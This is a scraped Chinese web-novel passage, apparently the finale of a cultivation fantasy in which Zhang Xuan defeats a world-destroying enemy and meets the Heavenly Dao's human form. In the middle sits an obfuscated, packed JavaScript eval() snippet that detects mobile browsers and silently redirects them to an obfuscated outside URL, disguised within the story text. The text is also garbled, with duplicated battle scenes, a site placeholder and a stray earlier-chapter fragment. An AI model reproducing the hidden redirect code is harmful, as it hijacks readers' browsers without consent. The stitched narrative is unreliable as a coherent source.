剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253853|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第214章连克七城 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 